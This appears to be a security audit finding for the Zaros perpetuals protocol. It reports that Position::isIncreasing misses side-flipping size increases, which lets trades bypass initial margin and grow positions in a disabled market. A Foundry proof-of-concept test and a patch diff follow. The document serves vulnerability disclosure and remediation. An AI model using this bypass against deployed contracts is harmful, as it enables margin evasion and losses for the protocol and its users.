Summary
Incorrect calculation of Position::isIncreasing can result in the order's size increasing, which may bypass initialMargin or increase the position size in a disabled market.
Vulnerability Details
There are instances where the position increases even when it’s not on the same side, which haven't been considered. Therefore, when moving to the opposite position and increasing the size, Position::isIncreasing returns false, allowing the position to be created with maintenanceMargin instead of initialMargin, and enabling the position to increase in a disabled market.
POC
Add PoC to test/integration/perpetuals/order-branch/createMarketOrder/createMarketOrder.t.sol
Run with: forge test --match-test test_IncorrectCheckInIsIncreasing
function test_IncorrectCheckInIsIncreasing()
external
givenTheAccountIdExists
givenTheSenderIsAuthorized
whenTheSizeDeltaIsNotZero
givenThePerpMarketIsDisabled
{
uint256 marginValueUsdc = 100_000e6;
deal({ token: address(usdc), to: users.naruto.account, give: marginValueUsdc });
changePrank({ msgSender: users.naruto.account });
uint128 tradingAccountId = createAccountAndDeposit(marginValueUsdc, address(usdc));
openManualPosition(
BTC_USD_MARKET_ID, BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE, tradingAccountId, 1e18
);
changePrank({ msgSender: users.owner.account });
SettlementConfiguration.DataStreamsStrategy memory marketOrderConfigurationData = SettlementConfiguration
.DataStreamsStrategy({ chainlinkVerifier: IVerifierProxy(mockChainlinkVerifier), streamId: BTC_USD_STREAM_ID });
SettlementConfiguration.Data memory marketOrderConfiguration = SettlementConfiguration.Data({
strategy: SettlementConfiguration.Strategy.DATA_STREAMS_DEFAULT,
isEnabled: false,
fee: DEFAULT_SETTLEMENT_FEE,
keeper: marketOrderKeepers[BTC_USD_MARKET_ID],
data: abi.encode(marketOrderConfigurationData)
});
perpsEngine.updateSettlementConfiguration(
BTC_USD_MARKET_ID, SettlementConfiguration.MARKET_ORDER_CONFIGURATION_ID, marketOrderConfiguration
);
changePrank({ msgSender: users.naruto.account });
openManualPosition(
BTC_USD_MARKET_ID, BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE, tradingAccountId, -150e18
);
}
Impact
bypass initialMargin
increase position size in a disable market.
Tools Used
manual review
Recommendations
@@ -4,9 +4,12 @@ pragma solidity 0.8.25;
// PRB Math dependencies
import { UD60x18, ud60x18 } from "@prb-math/UD60x18.sol";
import { SD59x18, sd59x18 } from "@prb-math/SD59x18.sol";
+import { SafeCast } from "@openzeppelin/utils/math/SafeCast.sol";
/// @title The Position namespace.
library Position {
+ using SafeCast for int256;
+
/// @notice ERC7201 storage location.
bytes32 internal constant POSITION_LOCATION =
keccak256(abi.encode(uint256(keccak256("fi.zaros.perpetuals.Position")) - 1)) & ~bytes32(uint256(0xff));
@@ -168,6 +171,14 @@ library Position {
// For a positive position, sizeDelta should be positive to increase, and for a negative position, sizeDelta
// should be negative to increase.
// This also implicitly covers the case where if it's a new position (size is 0), it's considered an increase.
- return self.size == 0 || (self.size > 0 && sizeDelta > 0) || (self.size < 0 && sizeDelta < 0);
+ bool sameside = (self.size > 0 && sizeDelta > 0) || (self.size < 0 && sizeDelta < 0);
+
+ int128 beforeSize = self.size.toInt128();
+ int128 afterSize = beforeSize + sizeDelta;
+
+ beforeSize = beforeSize > 0 ? beforeSize : beforeSize * -1;
+ afterSize = afterSize > 0 ? afterSize : afterSize * -1;
+
+ return self.size == 0 || sameside || beforeSize < afterSize;
}
}
